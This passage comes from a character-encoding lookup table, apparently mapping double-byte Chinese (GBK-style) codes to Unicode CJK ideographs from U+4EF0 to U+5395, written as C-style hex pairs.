{0xf6d1,0x4ef0},{0xa481,0x4ef1},{0xd9d6,0x4ef2},{0xf2d8,0x4ef3},{0xa581,0x4ef4},
{0xf5d8,0x4ef5},{0xfebc,0x4ef6},{0xdbbc,0x4ef7},{0xa681,0x4ef8},{0xa781,0x4ef9},
{0xa881,0x4efa},{0xcec8,0x4efb},{0xa981,0x4efc},{0xddb7,0x4efd},{0xaa81,0x4efe},
{0xab81,0x4f00},{0xf3c6,0x4f01},{0xac81,0x4f02},{0xad81,0x4f03},{0xae81,0x4f04},
{0xaf81,0x4f05},{0xb081,0x4f06},{0xb181,0x4f07},{0xb281,0x4f08},{0xf8d8,0x4f09},
{0xc1d2,0x4f0a},{0xb381,0x4f0b},{0xb481,0x4f0c},{0xe9ce,0x4f0d},{0xbfbc,0x4f0e},
{0xfcb7,0x4f0f},{0xa5b7,0x4f10},{0xddd0,0x4f11},{0xb581,0x4f12},{0xb681,0x4f13},
{0xb781,0x4f14},{0xb881,0x4f15},{0xb981,0x4f16},{0xdad6,0x4f17},{0xc5d3,0x4f18},
{0xefbb,0x4f19},{0xe1bb,0x4f1a},{0xf1d8,0x4f1b},{0xba81,0x4f1c},{0xbb81,0x4f1d},
{0xa1c9,0x4f1e},{0xb0ce,0x4f1f},{0xabb4,0x4f20},{0xbc81,0x4f21},{0xf3d8,0x4f22},
{0xbd81,0x4f23},{0xcbc9,0x4f24},{0xf6d8,0x4f25},{0xd7c2,0x4f26},{0xf7d8,0x4f27},
{0xbe81,0x4f28},{0xbf81,0x4f29},{0xb1ce,0x4f2a},{0xf9d8,0x4f2b},{0xc081,0x4f2c},
{0xc181,0x4f2d},{0xc281,0x4f2e},{0xaeb2,0x4f2f},{0xc0b9,0x4f30},{0xc381,0x4f31},
{0xa3d9,0x4f32},{0xc481,0x4f33},{0xe9b0,0x4f34},{0xc581,0x4f35},{0xe6c1,0x4f36},
{0xc681,0x4f37},{0xecc9,0x4f38},{0xc781,0x4f39},{0xc5cb,0x4f3a},{0xc881,0x4f3b},
{0xc6cb,0x4f3c},{0xa4d9,0x4f3d},{0xc981,0x4f3e},{0xca81,0x4f3f},{0xcb81,0x4f40},
{0xcc81,0x4f41},{0xcd81,0x4f42},{0xe8b5,0x4f43},{0xce81,0x4f44},{0xcf81,0x4f45},
{0xabb5,0x4f46},{0xd081,0x4f47},{0xd181,0x4f48},{0xd281,0x4f49},{0xd381,0x4f4a},
{0xd481,0x4f4b},{0xd581,0x4f4c},{0xbbce,0x4f4d},{0xcdb5,0x4f4e},{0xa1d7,0x4f4f},
{0xf4d7,0x4f50},{0xd3d3,0x4f51},{0xd681,0x4f52},{0xe5cc,0x4f53},{0xd781,0x4f54},
{0xceba,0x4f55},{0xd881,0x4f56},{0xa2d9,0x4f57},{0xdcd9,0x4f58},{0xe0d3,0x4f59},
{0xfdd8,0x4f5a},{0xf0b7,0x4f5b},{0xf7d7,0x4f5c},{0xfed8,0x4f5d},{0xfad8,0x4f5e},
{0xa1d9,0x4f5f},{0xe3c4,0x4f60},{0xd981,0x4f61},{0xda81,0x4f62},{0xb6d3,0x4f63},
{0xf4d8,0x4f64},{0xddd9,0x4f65},{0xdb81,0x4f66},{0xfbd8,0x4f67},{0xdc81,0x4f68},
{0xe5c5,0x4f69},{0xdd81,0x4f6a},{0xde81,0x4f6b},{0xd0c0,0x4f6c},{0xdf81,0x4f6d},
{0xe081,0x4f6e},{0xf0d1,0x4f6f},{0xdbb0,0x4f70},{0xe181,0x4f71},{0xe281,0x4f72},
{0xd1bc,0x4f73},{0xa6d9,0x4f74},{0xe381,0x4f75},{0xa5d9,0x4f76},{0xe481,0x4f77},
{0xe581,0x4f78},{0xe681,0x4f79},{0xe781,0x4f7a},{0xacd9,0x4f7b},{0xaed9,0x4f7c},
{0xe881,0x4f7d},{0xabd9,0x4f7e},{0xb9ca,0x4f7f},{0xe981,0x4f80},{0xea81,0x4f81},
{0xeb81,0x4f82},{0xa9d9,0x4f83},{0xb6d6,0x4f84},{0xec81,0x4f85},{0xed81,0x4f86},
{0xee81,0x4f87},{0xdeb3,0x4f88},{0xa8d9,0x4f89},{0xef81,0x4f8a},{0xfdc0,0x4f8b},
{0xf081,0x4f8c},{0xccca,0x4f8d},{0xf181,0x4f8e},{0xaad9,0x4f8f},{0xf281,0x4f90},
{0xa7d9,0x4f91},{0xf381,0x4f92},{0xf481,0x4f93},{0xb0d9,0x4f94},{0xf581,0x4f95},
{0xf681,0x4f96},{0xb1b6,0x4f97},{0xf781,0x4f98},{0xf881,0x4f99},{0xf981,0x4f9a},
{0xa9b9,0x4f9b},{0xfa81,0x4f9c},{0xc0d2,0x4f9d},{0xfb81,0x4f9e},{0xfc81,0x4f9f},
{0xc0cf,0x4fa0},{0xfd81,0x4fa1},{0xfe81,0x4fa2},{0xc2c2,0x4fa3},{0x4082,0x4fa4},
{0xc4bd,0x4fa5},{0xecd5,0x4fa6},{0xe0b2,0x4fa7},{0xc8c7,0x4fa8},{0xebbf,0x4fa9},
{0xadd9,0x4faa},{0x4182,0x4fab},{0xafd9,0x4fac},{0x4282,0x4fad},{0xeace,0x4fae},
{0xeeba,0x4faf},{0x4382,0x4fb0},{0x4482,0x4fb1},{0x4582,0x4fb2},{0x4682,0x4fb3},
{0x4782,0x4fb4},{0xd6c7,0x4fb5},{0x4882,0x4fb6},{0x4982,0x4fb7},{0x4a82,0x4fb8},
{0x4b82,0x4fb9},{0x4c82,0x4fba},{0x4d82,0x4fbb},{0x4e82,0x4fbc},{0x4f82,0x4fbd},
{0x5082,0x4fbe},{0xe3b1,0x4fbf},{0x5182,0x4fc0},{0x5282,0x4fc1},{0x5382,0x4fc2},
{0xd9b4,0x4fc3},{0xedb6,0x4fc4},{0xb4d9,0x4fc5},{0x5482,0x4fc6},{0x5582,0x4fc7},
{0x5682,0x4fc8},{0x5782,0x4fc9},{0xa1bf,0x4fca},{0x5882,0x4fcb},{0x5982,0x4fcc},
{0x5a82,0x4fcd},{0xded9,0x4fce},{0xcec7,0x4fcf},{0xfec0,0x4fd0},{0xb8d9,0x4fd1},
{0x5b82,0x4fd2},{0x5c82,0x4fd3},{0x5d82,0x4fd4},{0x5e82,0x4fd5},{0x5f82,0x4fd6},
{0xd7cb,0x4fd7},{0xfdb7,0x4fd8},{0x6082,0x4fd9},{0xb5d9,0x4fda},{0x6182,0x4fdb},
{0xb7d9,0x4fdc},{0xa3b1,0x4fdd},{0xe1d3,0x4fde},{0xb9d9,0x4fdf},{0x6282,0x4fe0},
{0xc5d0,0x4fe1},{0x6382,0x4fe2},{0xb6d9,0x4fe3},{0x6482,0x4fe4},{0x6582,0x4fe5},
{0xb1d9,0x4fe6},{0x6682,0x4fe7},{0xb2d9,0x4fe8},{0xa9c1,0x4fe9},{0xb3d9,0x4fea},
{0x6782,0x4feb},{0x6882,0x4fec},{0xf3bc,0x4fed},{0xded0,0x4fee},{0xa9b8,0x4fef},
{0x6982,0x4ff0},{0xe3be,0x4ff1},{0x6a82,0x4ff2},{0xbdd9,0x4ff3},{0x6b82,0x4ff4},
{0x6c82,0x4ff5},{0x6d82,0x4ff6},{0x6e82,0x4ff7},{0xbad9,0x4ff8},{0x6f82,0x4ff9},
{0xb3b0,0x4ffa},{0x7082,0x4ffb},{0x7182,0x4ffc},{0x7282,0x4ffd},{0xc2d9,0x4ffe},
{0x7482,0x5000},{0x7582,0x5001},{0x7682,0x5002},{0x7782,0x5003},{0x7882,0x5004},
{0x7982,0x5005},{0x7a82,0x5006},{0x7b82,0x5007},{0x7c82,0x5008},{0x7d82,0x5009},
{0x7e82,0x500a},{0x8082,0x500b},{0xc4d9,0x500c},{0xb6b1,0x500d},{0x8182,0x500e},
{0xbfd9,0x500f},{0x8282,0x5010},{0x8382,0x5011},{0xb9b5,0x5012},{0x8482,0x5013},
{0xf3be,0x5014},{0x8582,0x5015},{0x8682,0x5016},{0x8782,0x5017},{0xc8cc,0x5018},
{0xf2ba,0x5019},{0xd0d2,0x501a},{0x8882,0x501b},{0xc3d9,0x501c},{0x8982,0x501d},
{0x8a82,0x501e},{0xe8bd,0x501f},{0x8b82,0x5020},{0xabb3,0x5021},{0x8c82,0x5022},
{0x8d82,0x5023},{0x8e82,0x5024},{0xc5d9,0x5025},{0xebbe,0x5026},{0x8f82,0x5027},
{0xc6d9,0x5028},{0xbbd9,0x5029},{0xdfc4,0x502a},{0x9082,0x502b},{0xbed9,0x502c},
{0xc1d9,0x502d},{0xc0d9,0x502e},{0x9182,0x502f},{0x9282,0x5030},{0x9382,0x5031},
{0x9482,0x5032},{0x9582,0x5033},{0x9682,0x5034},{0x9782,0x5035},{0x9882,0x5036},
{0x9982,0x5037},{0x9a82,0x5038},{0x9b82,0x5039},{0xaed5,0x503a},{0x9c82,0x503b},
{0xb5d6,0x503c},{0x9d82,0x503d},{0xe3c7,0x503e},{0x9e82,0x503f},{0x9f82,0x5040},
{0xa082,0x5041},{0xa182,0x5042},{0xc8d9,0x5043},{0xa282,0x5044},{0xa382,0x5045},
{0xa482,0x5046},{0xd9bc,0x5047},{0xcad9,0x5048},{0xa582,0x5049},{0xa682,0x504a},
{0xa782,0x504b},{0xbcd9,0x504c},{0xa882,0x504d},{0xcbd9,0x504e},{0xabc6,0x504f},
{0xa982,0x5050},{0xaa82,0x5051},{0xab82,0x5052},{0xac82,0x5053},{0xad82,0x5054},
{0xc9d9,0x5055},{0xae82,0x5056},{0xaf82,0x5057},{0xb082,0x5058},{0xb182,0x5059},
{0xf6d7,0x505a},{0xb282,0x505b},{0xa3cd,0x505c},{0xb382,0x505d},{0xb482,0x505e},
{0xb582,0x505f},{0xb682,0x5060},{0xb782,0x5061},{0xb882,0x5062},{0xb982,0x5063},
{0xba82,0x5064},{0xa1bd,0x5065},{0xbb82,0x5066},{0xbc82,0x5067},{0xbd82,0x5068},
{0xbe82,0x5069},{0xbf82,0x506a},{0xc082,0x506b},{0xccd9,0x506c},{0xc182,0x506d},
{0xc282,0x506e},{0xc382,0x506f},{0xc482,0x5070},{0xc582,0x5071},{0xc682,0x5072},
{0xc782,0x5073},{0xc882,0x5074},{0xc982,0x5075},{0xbcc5,0x5076},{0xb5cd,0x5077},
{0xca82,0x5078},{0xcb82,0x5079},{0xcc82,0x507a},{0xcdd9,0x507b},{0xcd82,0x507c},
{0xce82,0x507d},{0xc7d9,0x507e},{0xa5b3,0x507f},{0xfebf,0x5080},{0xcf82,0x5081},
{0xd082,0x5082},{0xd182,0x5083},{0xd282,0x5084},{0xb5b8,0x5085},{0xd382,0x5086},
{0xd482,0x5087},{0xfcc0,0x5088},{0xd582,0x5089},{0xd682,0x508a},{0xd782,0x508b},
{0xd882,0x508c},{0xf8b0,0x508d},{0xd982,0x508e},{0xda82,0x508f},{0xdb82,0x5090},
{0xdc82,0x5091},{0xdd82,0x5092},{0xde82,0x5093},{0xdf82,0x5094},{0xe082,0x5095},
{0xe182,0x5096},{0xe282,0x5097},{0xe382,0x5098},{0xe482,0x5099},{0xe582,0x509a},
{0xe682,0x509b},{0xe782,0x509c},{0xe882,0x509d},{0xe982,0x509e},{0xea82,0x509f},
{0xeb82,0x50a0},{0xec82,0x50a1},{0xed82,0x50a2},{0xf6b4,0x50a3},{0xee82,0x50a4},
{0xced9,0x50a5},{0xef82,0x50a6},{0xcfd9,0x50a7},{0xa2b4,0x50a8},{0xd0d9,0x50a9},
{0xf082,0x50aa},{0xf182,0x50ab},{0xdfb4,0x50ac},{0xf282,0x50ad},{0xf382,0x50ae},
{0xf482,0x50af},{0xf582,0x50b0},{0xf682,0x50b1},{0xc1b0,0x50b2},{0xf782,0x50b3},
{0xf882,0x50b4},{0xf982,0x50b5},{0xfa82,0x50b6},{0xfb82,0x50b7},{0xfc82,0x50b8},
{0xfd82,0x50b9},{0xd1d9,0x50ba},{0xb5c9,0x50bb},{0xfe82,0x50bc},{0x4083,0x50bd},
{0x4183,0x50be},{0x4283,0x50bf},{0x4383,0x50c0},{0x4483,0x50c1},{0x4583,0x50c2},
{0x4683,0x50c3},{0x4783,0x50c4},{0x4883,0x50c5},{0x4983,0x50c6},{0x4a83,0x50c7},
{0x4b83,0x50c8},{0x4c83,0x50c9},{0x4d83,0x50ca},{0x4e83,0x50cb},{0x4f83,0x50cc},
{0x5083,0x50cd},{0x5183,0x50ce},{0xf1cf,0x50cf},{0x5283,0x50d0},{0x5383,0x50d1},
{0x5483,0x50d2},{0x5583,0x50d3},{0x5683,0x50d4},{0x5783,0x50d5},{0xd2d9,0x50d6},
{0x5883,0x50d7},{0x5983,0x50d8},{0x5a83,0x50d9},{0xc5c1,0x50da},{0x5b83,0x50db},
{0x5c83,0x50dc},{0x5d83,0x50dd},{0x5e83,0x50de},{0x5f83,0x50df},{0x6083,0x50e0},
{0x6183,0x50e1},{0x6283,0x50e2},{0x6383,0x50e3},{0x6483,0x50e4},{0x6583,0x50e5},
{0xd6d9,0x50e6},{0xaec9,0x50e7},{0x6683,0x50e8},{0x6783,0x50e9},{0x6883,0x50ea},
{0x6983,0x50eb},{0xd5d9,0x50ec},{0xd4d9,0x50ed},{0xd7d9,0x50ee},{0x6a83,0x50ef},
{0x6b83,0x50f0},{0x6c83,0x50f1},{0x6d83,0x50f2},{0xdbcb,0x50f3},{0x6e83,0x50f4},
{0xa9bd,0x50f5},{0x6f83,0x50f6},{0x7083,0x50f7},{0x7183,0x50f8},{0x7283,0x50f9},
{0x7383,0x50fa},{0xa7c6,0x50fb},{0x7483,0x50fc},{0x7583,0x50fd},{0x7683,0x50fe},
{0x7883,0x5100},{0x7983,0x5101},{0x7a83,0x5102},{0x7b83,0x5103},{0x7c83,0x5104},
{0x7d83,0x5105},{0xd3d9,0x5106},{0xd8d9,0x5107},{0x7e83,0x5108},{0x8083,0x5109},
{0x8183,0x510a},{0xd9d9,0x510b},{0x8283,0x510c},{0x8383,0x510d},{0x8483,0x510e},
{0x8583,0x510f},{0x8683,0x5110},{0x8783,0x5111},{0xe5c8,0x5112},{0x8883,0x5113},
{0x8983,0x5114},{0x8a83,0x5115},{0x8b83,0x5116},{0x8c83,0x5117},{0x8d83,0x5118},
{0x8e83,0x5119},{0x8f83,0x511a},{0x9083,0x511b},{0x9183,0x511c},{0x9283,0x511d},
{0x9383,0x511e},{0x9483,0x511f},{0x9583,0x5120},{0xdcc0,0x5121},{0x9683,0x5122},
{0x9783,0x5123},{0x9883,0x5124},{0x9983,0x5125},{0x9a83,0x5126},{0x9b83,0x5127},
{0x9c83,0x5128},{0x9d83,0x5129},{0x9e83,0x512a},{0x9f83,0x512b},{0xa083,0x512c},
{0xa183,0x512d},{0xa283,0x512e},{0xa383,0x512f},{0xa483,0x5130},{0xa583,0x5131},
{0xa683,0x5132},{0xa783,0x5133},{0xa883,0x5134},{0xa983,0x5135},{0xaa83,0x5136},
{0xab83,0x5137},{0xac83,0x5138},{0xad83,0x5139},{0xae83,0x513a},{0xaf83,0x513b},
{0xb083,0x513c},{0xb183,0x513d},{0xb283,0x513e},{0xf9b6,0x513f},{0xa3d8,0x5140},
{0xcad4,0x5141},{0xb383,0x5142},{0xaad4,0x5143},{0xd6d0,0x5144},{0xe4b3,0x5145},
{0xd7d5,0x5146},{0xb483,0x5147},{0xc8cf,0x5148},{0xe2b9,0x5149},{0xb583,0x514a},
{0xcbbf,0x514b},{0xb683,0x514c},{0xe2c3,0x514d},{0xb783,0x514e},{0xb883,0x514f},
{0xb983,0x5150},{0xd2b6,0x5151},{0xba83,0x5152},{0xbb83,0x5153},{0xc3cd,0x5154},
{0xeed9,0x5155},{0xf0d9,0x5156},{0xbc83,0x5157},{0xbd83,0x5158},{0xbe83,0x5159},
{0xb3b5,0x515a},{0xbf83,0x515b},{0xb5b6,0x515c},{0xc083,0x515d},{0xc183,0x515e},
{0xc283,0x515f},{0xc383,0x5160},{0xc483,0x5161},{0xa4be,0x5162},{0xc583,0x5163},
{0xc683,0x5164},{0xebc8,0x5165},{0xc783,0x5166},{0xc883,0x5167},{0xabc8,0x5168},
{0xc983,0x5169},{0xca83,0x516a},{0xcbb0,0x516b},{0xabb9,0x516c},{0xf9c1,0x516d},
{0xe2d9,0x516e},{0xcb83,0x516f},{0xbcc0,0x5170},{0xb2b9,0x5171},{0xcc83,0x5172},
{0xd8b9,0x5173},{0xcbd0,0x5174},{0xf8b1,0x5175},{0xe4c6,0x5176},{0xdfbe,0x5177},
{0xe4b5,0x5178},{0xc8d7,0x5179},{0xcd83,0x517a},{0xf8d1,0x517b},{0xe6bc,0x517c},
{0xdeca,0x517d},{0xce83,0x517e},{0xcf83,0x517f},{0xbdbc,0x5180},{0xe6d9,0x5181},
{0xe7d8,0x5182},{0xd083,0x5183},{0xd183,0x5184},{0xdac4,0x5185},{0xd283,0x5186},
{0xd383,0x5187},{0xd4b8,0x5188},{0xbdc8,0x5189},{0xd483,0x518a},{0xd583,0x518b},
{0xe1b2,0x518c},{0xd9d4,0x518d},{0xd683,0x518e},{0xd783,0x518f},{0xd883,0x5190},
{0xd983,0x5191},{0xb0c3,0x5192},{0xda83,0x5193},{0xdb83,0x5194},{0xe1c3,0x5195},
{0xa2da,0x5196},{0xdfc8,0x5197},{0xdc83,0x5198},{0xb4d0,0x5199},{0xdd83,0x519a},
{0xfcbe,0x519b},{0xa9c5,0x519c},{0xde83,0x519d},{0xdf83,0x519e},{0xe083,0x519f},
{0xdab9,0x51a0},{0xe183,0x51a1},{0xa3da,0x51a2},{0xe283,0x51a3},{0xa9d4,0x51a4},
{0xa4da,0x51a5},{0xe383,0x51a6},{0xe483,0x51a7},{0xe583,0x51a8},{0xe683,0x51a9},
{0xe783,0x51aa},{0xfbd9,0x51ab},{0xacb6,0x51ac},{0xe883,0x51ad},{0xe983,0x51ae},
{0xebb7,0x51af},{0xf9b1,0x51b0},{0xfcd9,0x51b1},{0xe5b3,0x51b2},{0xf6be,0x51b3},
{0xea83,0x51b4},{0xf6bf,0x51b5},{0xb1d2,0x51b6},{0xe4c0,0x51b7},{0xeb83,0x51b8},
{0xec83,0x51b9},{0xed83,0x51ba},{0xb3b6,0x51bb},{0xfed9,0x51bc},{0xfdd9,0x51bd},
{0xee83,0x51be},{0xef83,0x51bf},{0xbbbe,0x51c0},{0xf083,0x51c1},{0xf183,0x51c2},
{0xf283,0x51c3},{0xe0c6,0x51c4},{0xf383,0x51c5},{0xbcd7,0x51c6},{0xa1da,0x51c7},
{0xf483,0x51c8},{0xb9c1,0x51c9},{0xf583,0x51ca},{0xf2b5,0x51cb},{0xe8c1,0x51cc},
{0xf683,0x51cd},{0xf783,0x51ce},{0xf5bc,0x51cf},{0xf883,0x51d0},{0xd5b4,0x51d1},
{0xf983,0x51d2},{0xfa83,0x51d3},{0xfb83,0x51d4},{0xfc83,0x51d5},{0xfd83,0x51d6},
{0xfe83,0x51d7},{0x4084,0x51d8},{0x4184,0x51d9},{0x4284,0x51da},{0xddc1,0x51db},
{0x4384,0x51dc},{0xfdc4,0x51dd},{0x4484,0x51de},{0x4584,0x51df},{0xb8bc,0x51e0},
{0xb2b7,0x51e1},{0x4684,0x51e2},{0x4784,0x51e3},{0xefb7,0x51e4},{0x4884,0x51e5},
{0x4984,0x51e6},{0x4a84,0x51e7},{0x4b84,0x51e8},{0x4c84,0x51e9},{0x4d84,0x51ea},
{0xecd9,0x51eb},{0x4e84,0x51ec},{0xbec6,0x51ed},{0x4f84,0x51ee},{0xadbf,0x51ef},
{0xcbbb,0x51f0},{0x5084,0x51f1},{0x5184,0x51f2},{0xcab5,0x51f3},{0x5284,0x51f4},
{0xc9db,0x51f5},{0xd7d0,0x51f6},{0x5384,0x51f7},{0xb9cd,0x51f8},{0xbcb0,0x51f9},
{0xf6b3,0x51fa},{0xf7bb,0x51fb},{0xcadb,0x51fc},{0xafba,0x51fd},{0x5484,0x51fe},
{0xb6b5,0x5200},{0xf3b5,0x5201},{0xd6d8,0x5202},{0xd0c8,0x5203},{0x5584,0x5204},
{0x5684,0x5205},{0xd6b7,0x5206},{0xd0c7,0x5207},{0xd7d8,0x5208},{0x5784,0x5209},
{0xafbf,0x520a},{0x5884,0x520b},{0x5984,0x520c},{0xbbdb,0x520d},{0xd8d8,0x520e},
{0x5a84,0x520f},{0x5b84,0x5210},{0xccd0,0x5211},{0xaebb,0x5212},{0x5c84,0x5213},
{0x5d84,0x5214},{0x5e84,0x5215},{0xbeeb,0x5216},{0xd0c1,0x5217},{0xf5c1,0x5218},
{0xf2d4,0x5219},{0xd5b8,0x521a},{0xb4b4,0x521b},{0x5f84,0x521c},{0xf5b3,0x521d},
{0x6084,0x521e},{0x6184,0x521f},{0xbec9,0x5220},{0x6284,0x5221},{0x6384,0x5222},
{0x6484,0x5223},{0xd0c5,0x5224},{0x6584,0x5225},{0x6684,0x5226},{0x6784,0x5227},
{0xd9c5,0x5228},{0xfbc0,0x5229},{0x6884,0x522a},{0xf0b1,0x522b},{0x6984,0x522c},
{0xd9d8,0x522d},{0xceb9,0x522e},{0x6a84,0x522f},{0xbdb5,0x5230},{0x6b84,0x5231},
{0x6c84,0x5232},{0xdad8,0x5233},{0x6d84,0x5234},{0x6e84,0x5235},{0xc6d6,0x5236},
{0xa2cb,0x5237},{0xafc8,0x5238},{0xb2c9,0x5239},{0xccb4,0x523a},{0xccbf,0x523b},
{0x6f84,0x523c},{0xf4b9,0x523d},{0x7084,0x523e},{0xdbd8,0x523f},{0xdcd8,0x5240},
{0xe7b6,0x5241},{0xc1bc,0x5242},{0xeacc,0x5243},{0x7184,0x5244},{0x7284,0x5245},
{0x7384,0x5246},{0x7484,0x5247},{0x7584,0x5248},{0x7684,0x5249},{0xf7cf,0x524a},
{0x7784,0x524b},{0xddd8,0x524c},{0xb0c7,0x524d},{0x7884,0x524e},{0x7984,0x524f},
{0xd0b9,0x5250},{0xa3bd,0x5251},{0x7a84,0x5252},{0x7b84,0x5253},{0xdecc,0x5254},
{0x7c84,0x5255},{0xcac6,0x5256},{0x7d84,0x5257},{0x7e84,0x5258},{0x8084,0x5259},
{0x8184,0x525a},{0x8284,0x525b},{0xe0d8,0x525c},{0x8384,0x525d},{0xded8,0x525e},
{0x8484,0x525f},{0x8584,0x5260},{0xdfd8,0x5261},{0x8684,0x5262},{0x8784,0x5263},
{0x8884,0x5264},{0xfeb0,0x5265},{0x8984,0x5266},{0xe7be,0x5267},{0x8a84,0x5268},
{0xa3ca,0x5269},{0xf4bc,0x526a},{0x8b84,0x526b},{0x8c84,0x526c},{0x8d84,0x526d},
{0x8e84,0x526e},{0xb1b8,0x526f},{0x8f84,0x5270},{0x9084,0x5271},{0xeeb8,0x5272},
{0x9184,0x5273},{0x9284,0x5274},{0x9384,0x5275},{0x9484,0x5276},{0x9584,0x5277},
{0x9684,0x5278},{0x9784,0x5279},{0x9884,0x527a},{0x9984,0x527b},{0x9a84,0x527c},
{0xe2d8,0x527d},{0x9b84,0x527e},{0xcbbd,0x527f},{0x9c84,0x5280},{0xe4d8,0x5281},
{0xe3d8,0x5282},{0x9d84,0x5283},{0x9e84,0x5284},{0x9f84,0x5285},{0xa084,0x5286},
{0xa184,0x5287},{0xfcc5,0x5288},{0xa284,0x5289},{0xa384,0x528a},{0xa484,0x528b},
{0xa584,0x528c},{0xa684,0x528d},{0xa784,0x528e},{0xa884,0x528f},{0xe5d8,0x5290},
{0xa984,0x5291},{0xaa84,0x5292},{0xe6d8,0x5293},{0xab84,0x5294},{0xac84,0x5295},
{0xad84,0x5296},{0xae84,0x5297},{0xaf84,0x5298},{0xb084,0x5299},{0xb184,0x529a},
{0xa6c1,0x529b},{0xb284,0x529c},{0xb0c8,0x529d},{0xecb0,0x529e},{0xa6b9,0x529f},
{0xd3bc,0x52a0},{0xf1ce,0x52a1},{0xbddb,0x52a2},{0xd3c1,0x52a3},{0xb384,0x52a4},
{0xb484,0x52a5},{0xb584,0x52a6},{0xb684,0x52a7},{0xafb6,0x52a8},{0xfad6,0x52a9},
{0xacc5,0x52aa},{0xd9bd,0x52ab},{0xbedb,0x52ac},{0xbfdb,0x52ad},{0xb784,0x52ae},
{0xb884,0x52af},{0xb984,0x52b0},{0xf8c0,0x52b1},{0xa2be,0x52b2},{0xcdc0,0x52b3},
{0xba84,0x52b4},{0xbb84,0x52b5},{0xbc84,0x52b6},{0xbd84,0x52b7},{0xbe84,0x52b8},
{0xbf84,0x52b9},{0xc084,0x52ba},{0xc184,0x52bb},{0xc284,0x52bc},{0xc384,0x52bd},
{0xc0db,0x52be},{0xc6ca,0x52bf},{0xc484,0x52c0},{0xc584,0x52c1},{0xc684,0x52c2},
{0xaab2,0x52c3},{0xc784,0x52c4},{0xc884,0x52c5},{0xc984,0x52c6},{0xc2d3,0x52c7},
{0xca84,0x52c8},{0xe3c3,0x52c9},{0xcb84,0x52ca},{0xabd1,0x52cb},{0xcc84,0x52cc},
{0xcd84,0x52cd},{0xce84,0x52ce},{0xcf84,0x52cf},{0xc2db,0x52d0},{0xd084,0x52d1},
{0xd5c0,0x52d2},{0xd184,0x52d3},{0xd284,0x52d4},{0xd384,0x52d5},{0xc3db,0x52d6},
{0xd484,0x52d7},{0xb1bf,0x52d8},{0xd584,0x52d9},{0xd684,0x52da},{0xd784,0x52db},
{0xd884,0x52dc},{0xd984,0x52dd},{0xda84,0x52de},{0xbcc4,0x52df},{0xdb84,0x52e0},
{0xdc84,0x52e1},{0xdd84,0x52e2},{0xde84,0x52e3},{0xdac7,0x52e4},{0xdf84,0x52e5},
{0xe084,0x52e6},{0xe184,0x52e7},{0xe284,0x52e8},{0xe384,0x52e9},{0xe484,0x52ea},
{0xe584,0x52eb},{0xe684,0x52ec},{0xe784,0x52ed},{0xe884,0x52ee},{0xe984,0x52ef},
{0xc4db,0x52f0},{0xea84,0x52f1},{0xeb84,0x52f2},{0xec84,0x52f3},{0xed84,0x52f4},
{0xee84,0x52f5},{0xef84,0x52f6},{0xf084,0x52f7},{0xf184,0x52f8},{0xe8d9,0x52f9},
{0xd7c9,0x52fa},{0xf284,0x52fb},{0xf384,0x52fc},{0xf484,0x52fd},{0xb4b9,0x52fe},
{0xc8d4,0x5300},{0xf584,0x5301},{0xf684,0x5302},{0xf784,0x5303},{0xf884,0x5304},
{0xfcb0,0x5305},{0xd2b4,0x5306},{0xf984,0x5307},{0xd9d0,0x5308},{0xfa84,0x5309},
{0xfb84,0x530a},{0xfc84,0x530b},{0xfd84,0x530c},{0xe9d9,0x530d},{0xfe84,0x530e},
{0xcbde,0x530f},{0xebd9,0x5310},{0x4085,0x5311},{0x4185,0x5312},{0x4285,0x5313},
{0x4385,0x5314},{0xb0d8,0x5315},{0xafbb,0x5316},{0xb1b1,0x5317},{0x4485,0x5318},
{0xd7b3,0x5319},{0xced8,0x531a},{0x4585,0x531b},{0x4685,0x531c},{0xd1d4,0x531d},
{0x4785,0x531e},{0x4885,0x531f},{0xb3bd,0x5320},{0xefbf,0x5321},{0x4985,0x5322},
{0xbbcf,0x5323},{0x4a85,0x5324},{0x4b85,0x5325},{0xd0d8,0x5326},{0x4c85,0x5327},
{0x4d85,0x5328},{0x4e85,0x5329},{0xcbb7,0x532a},{0x4f85,0x532b},{0x5085,0x532c},
{0x5185,0x532d},{0xd1d8,0x532e},{0x5285,0x532f},{0x5385,0x5330},{0x5485,0x5331},
{0x5585,0x5332},{0x5685,0x5333},{0x5785,0x5334},{0x5885,0x5335},{0x5985,0x5336},
{0x5a85,0x5337},{0x5b85,0x5338},{0xa5c6,0x5339},{0xf8c7,0x533a},{0xbdd2,0x533b},
{0x5c85,0x533c},{0x5d85,0x533d},{0xd2d8,0x533e},{0xe4c4,0x533f},{0x5e85,0x5340},
{0xaeca,0x5341},{0x5f85,0x5342},{0xa7c7,0x5343},{0x6085,0x5344},{0xa6d8,0x5345},
{0x6185,0x5346},{0xfdc9,0x5347},{0xe7ce,0x5348},{0xdcbb,0x5349},{0xebb0,0x534a},
{0x6285,0x534b},{0x6385,0x534c},{0x6485,0x534d},{0xaabb,0x534e},{0xadd0,0x534f},
{0x6585,0x5350},{0xb0b1,0x5351},{0xe4d7,0x5352},{0xbfd7,0x5353},{0x6685,0x5354},
{0xa5b5,0x5355},{0xf4c2,0x5356},{0xcfc4,0x5357},{0x6785,0x5358},{0x6885,0x5359},
{0xa9b2,0x535a},{0x6985,0x535b},{0xb7b2,0x535c},{0x6a85,0x535d},{0xe5b1,0x535e},
{0xb2df,0x535f},{0xbcd5,0x5360},{0xa8bf,0x5361},{0xacc2,0x5362},{0xd5d8,0x5363},
{0xb1c2,0x5364},{0x6b85,0x5365},{0xd4d8,0x5366},{0xd4ce,0x5367},{0x6c85,0x5368},
{0xe0da,0x5369},{0x6d85,0x536a},{0xc0ce,0x536b},{0x6e85,0x536c},{0x6f85,0x536d},
{0xb4d8,0x536e},{0xaec3,0x536f},{0xa1d3,0x5370},{0xa3ce,0x5371},{0x7085,0x5372},
{0xb4bc,0x5373},{0xb4c8,0x5374},{0xd1c2,0x5375},{0x7185,0x5376},{0xedbe,0x5377},
{0xb6d0,0x5378},{0x7285,0x5379},{0xe1da,0x537a},{0x7385,0x537b},{0x7485,0x537c},
{0x7585,0x537d},{0x7685,0x537e},{0xe4c7,0x537f},{0x7785,0x5380},{0x7885,0x5381},
{0xa7b3,0x5382},{0x7985,0x5383},{0xf2b6,0x5384},{0xfccc,0x5385},{0xfac0,0x5386},
{0x7a85,0x5387},{0x7b85,0x5388},{0xf7c0,0x5389},{0x7c85,0x538a},{0xb9d1,0x538b},
{0xe1d1,0x538c},{0xc7d8,0x538d},{0x7d85,0x538e},{0x7e85,0x538f},{0x8085,0x5390},
{0x8185,0x5391},{0x8285,0x5392},{0x8385,0x5393},{0x8485,0x5394},{0xdeb2,0x5395},
